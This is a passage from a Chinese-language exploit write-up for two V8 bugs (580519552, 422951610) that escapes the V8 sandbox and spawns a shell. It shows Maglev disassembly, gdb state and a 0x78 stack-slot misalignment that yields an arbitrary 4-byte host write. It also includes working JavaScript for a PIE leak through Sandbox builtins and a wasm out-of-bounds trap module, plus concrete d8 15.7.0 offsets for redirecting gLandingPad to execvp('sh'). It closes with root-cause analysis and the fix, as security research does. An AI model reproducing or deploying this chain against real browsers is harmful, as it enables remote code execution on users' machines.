    if (optimized_exception_handler != HandlerTable::kLazyDeopt) {
      return optimized_exception_handler;
    }
    Deoptimizer::DeoptimizeFunction(
        function(), LazyDeoptimizeReason::kExceptionCaught, code);
  }
  DCHECK(code->marked_for_deoptimization());
  pc_offset = FindReturnPCForTrampoline(code, pc_offset);
  ......
}

然后 Isolate::UnwindAndFindHandler 的 MAGLEV 分支把 handler 设成原始返回地址,并按整帧算 SP:

// src/execution/isolate.cc:3176-3204
Tagged<Object> Isolate::UnwindAndFindHandler() {
  ......
  if (CodeKindCanDeoptimize(code->kind()) &&
      code->marked_for_deoptimization()) {
    // 返回原始返回地址,并记下"正在抛异常",交给 deoptimizer
    offset = static_cast<int>(frame->pc() - code->instruction_start());
    set_deoptimizer_lazy_throw(true);
  }
  ......
  Address return_sp = frame->fp() +
                      StandardFrameConstants::kFixedFrameSizeAboveFp -
                      code->stack_slots() * kSystemPointerSize;
  ......
}

6.3 第三步:0x78 错位 → 受控 rcx

--print-maglev-code 里 maglev_fn 的关键指令(地址只保留低 32 位):

0x...11b7  movl rcx,[rax+0xb]          ; obj.f1(真实偏移 0xC,tag 折进位移)
0x...11c0  movq r10,0x700012345679     ; target_float 的 bits
0x...11cf  vaddsd xmm0,xmm0,xmm1       ; v1 = obj.f1 + target_float
0x...11d3  vmovsd [rbp-0x28],xmm0      ; v1 溢出到 [rbp-0x28]
0x...13d2  movl rcx,[rax+0x47]         ; obj.target_obj
0x...14ef  push rcx
0x...14f0  subq rsp,0x70
0x...14f4  vmovsd [rsp],xmm1           ; 保存 v2..v15(共 14 条同类指令)
0x...1551  call ToNumber
0x...15b0  pop rcx                     ; 正常路径:取回 target_obj
0x...13f0  movl [rcx+0xb],0x54         ; t.x = 42

调用点真实 SP 是 rbp-0x110(push rcx + sub rsp,0x70);恢复点的 return_sp 是 rbp-0x98,高 0x78。异常恢复从 rbp-0x98 开始,pop rcx 读到的是 [rbp-0x28] = v1。v1 = obj.f1 + target_float,而 obj.f1 = 0.0,所以 rcx 就是 target_float 的 bits——一个完整的 64 位宿主地址。0x700012345679 是官方测试取值,实际 PoC 用 dblFromBits(LANDING + d - 0xB),每次运行都不同

gdb 现场:

pc      = 0x5555b86c13f0
si_addr = 0x700012345684
=> 0x5555b86c13f0: mov DWORD PTR [rcx+0xb],0x54
rcx     = 0x700012345679
rax     = 0xf6                  ; 抛出的 Smi 123(被当成 ToNumber 的返回值)
[rbp-0x28] = 0x0000700012345679 <- v1
[rbp-0x20] = 0x0000261a0107ae29 <- 真实 target_obj

位移是 0xB 而不是 0xC:target_obj.x 的真实字段偏移是 0xC,但寄存器里放的是 tagged 指针,字段访问统一写成 [reg + 0xC - 1]。要让 t.s0 写到 A,t 这个 tagged 值必须是 A - 0xB。

到这里得到:

一个由全局 double 决定目标地址、由编译期常量决定写入值的 4 字节宿主写

两个缺陷的分工:580519552 提供"进入一个已标记 Code"的入口;422951610 提供"进入之后异常恢复不按预期 deopt"的行为,缺任何一个rcx 都拿不到 v1

6.4 第四步:地址任意、值预置,一个 writer 写 60 字节

这一步要回答两件事:地址能不能任意、值能不能任意。结论是:地址可以——改 target_float 的 bits;值只能预置——每个不同的值都要重编一个 writer。一个 writer 再用 15 个槽位把覆盖范围撑到 60 字节

地址只能放在全局 double 里。6.1 的 v1 = obj.f1 + target_float,而 obj.f1 = 0.0,所以 v1 的 bits 就是 target_float 的 bits;v1 又正好落在 [rbp-0x28],被恢复序列的 pop rcx 取走。如果改成把地址放进对象字段,恢复出的 rcx 是 cage_base | low32 的压缩指针,只能落在 4GB cage 内——这就是为什么地址必须走全局 double

载荷是 15 个 double 局部变量。调用点保存 v2..v15 需要 14 个 xmm 槽,加上 push rcx 正好 0x78;恢复点从 rbp-0x98 开始,xmm1..xmm14 读到的是 v15..v2(反序),pop rcx 落在 [rbp-0x28],即离 rbp 最近的 v1。改 double 数量会改变栈布局,必须重新标定

写入值必须编译期常量。t.sK = C 被编成 Smi 立即数(value << 1);用全局 Smi 或对象字段当"值",恢复后寄存器会互换,写进去的是 cage_base | map 之类的垃圾;用全局 double 又会走 vmovsd,不是 raw 地址写。所以每个不同的 4 字节值都要重编一个 writer,唯一硬约束是低字节为偶数;奇数低字节用移位窗口(在 A-1 处写 (0, b0, b1, b2))绕过

一个 writer 最多写 60 字节。s0..s14 对应槽位 0xB + 4k,覆盖 LANDING - 4 … LANDING + 55;本次运行只用到 s0(execvp 低 4 字节)和 s4("sh\0\0")。之所以只编一个 writer,是因为连续创建第 2、第 3 个时,%DeoptimizeFunction 会撞 Check failed: kind == DeoptimizeKind::kLazy——isolate 里残留上一次异常展开设置的 deoptimizer_lazy_throw_,eager deopt 的 CHECK 失败

所以这一步的本质是:地址每次运行都能换,值只能预先定。为了在"值固定"的前提下把 gLandingPad 和 "sh" 一次写完,PoC 只编一个 writer、一次覆盖 60 字节

6.5 第五步:改 gLandingPad,走 execvp

PIE 从 Builtins_ToNumber 的 instruction_start 反推:

function builtinCodeAddr(name) {
  const id = Sandbox.getBuiltinNames().indexOf(name);
  const off = Sandbox.getBuiltinCode(id) >>> 0;
  const obj = off & ~1;
  const lo = mem.getUint32(obj + 0x18, true);
  const hi = mem.getUint32(obj + 0x1c, true);
  return ((BigInt(hi) << 32n) | BigInt(lo)) & 0xFFFFFFFFFFFFn;
}
const PIE = (builtinCodeAddr('ToNumber') - 0x31A6300n) & ~0xFFFn;

trap_handler::gLandingPad 在 .bss,记 LANDING = PIE + 0x3740700;OOB trap 后信号处理器把 *return_reg 设成它,sigreturn 直接跳过去:

符号

偏移(15.7.0 d8)

gLandingPad

0x3740700

gLandingPad 初值

PIE + 0x325BF80

execvp@plt

PIE + 0x366D740

gLandingPad 与 execvp@plt 只在低 3 字节不同(实测 diffBytes=0,1,2),在 4 个对齐网格 d ∈ {0,-1,-2,-3} 里挑一个能覆盖差异、且每个 dword 低字节为偶数的组合,同时把 "sh\0" 写进同一个 60 字节窗口(LANDING+0x11)。

trap 模块用 8 个 i64 参数做一次越界 load:

const tb = new WasmModuleBuilder();
tb.addMemory(1);
tb.exportMemoryAs('memory');
tb.addFunction('trap', makeSig([kWasmI64, kWasmI64, kWasmI64, kWasmI64,
                                kWasmI64, kWasmI64, kWasmI64, kWasmI64], [kWasmI32]))
  .exportFunc()
  .addBody([kExprI32Const, 0x7f, kExprI32LoadMem, 0, 0]);
const trapInst = tb.instantiate();
const trapFn = trapInst.exports.trap;
const wmem = trapInst.exports.memory;

调用 trapFn(0,0,0,0,0,S,0,0):rdi = S("sh" 地址),rsi = wasm memory base,wasm 内存前 16 字节是 [S, NULL]。gLandingPad 已是 execvp@plt,sigreturn 后执行 execvp("sh", ["sh", NULL])

6.6 完整链路

① PIE 泄漏
② 编译唯一的 Maglev writer(常量 = 目标 dword),从 Map::dependent_code 取它的 CodeWrapper
③ %DeoptimizeFunction 标记该 Code;把两个 page 上同 map 的 CodeWrapper 的 +4 换成 Maglev handle
④ new WebAssembly.Instance(module) → 导出函数拿到 Maglev Code
   bad(throwing_obj) → ToNumber 抛异常 → 已标记帧回到返回地址(SP 错位 0x78)
   → rcx = v1 = target_float 的 bits → 15 个 store
   → gLandingPad = execvp@plt,同时写入 "sh" 与 argv
⑤ trapFn(0,0,0,0,0,S,0,0) → wasm OOB trap → sigreturn → execvp("sh")

总结

580519552 的问题不是"少了一个检查",而是把"决定执行哪段 trusted 代码"的权力放进了攻击者可写的 cage:缓存对象、缓存元素、元素里的 code_ 三层都在沙箱内。修复的做法是把缓存搬进 trusted space 并去掉 CodeWrapper 间接层

利用上真正难的不是换 Code,而是把"执行一段不该执行的代码"变成"可控写"。答案在异常展开:被标记的 Maglev 帧不会走 catch handler,而是回到原始返回地址交给 deoptimizer;此时 handler SP 与调用点 SP 差 0x78,恢复序列把 v1(由全局 double 决定的 64 位 bit 模式)塞进了 rcx。后面的 mov dword [rcx+0xB], imm32 就是宿主任意地址写

所以其实这是两个漏洞结合的利用,422951610只是增加了缓解措施而没有完全修复导致了可利用(不过也带来了约束,即必须启用--maglev-inline-api-calls这个flag)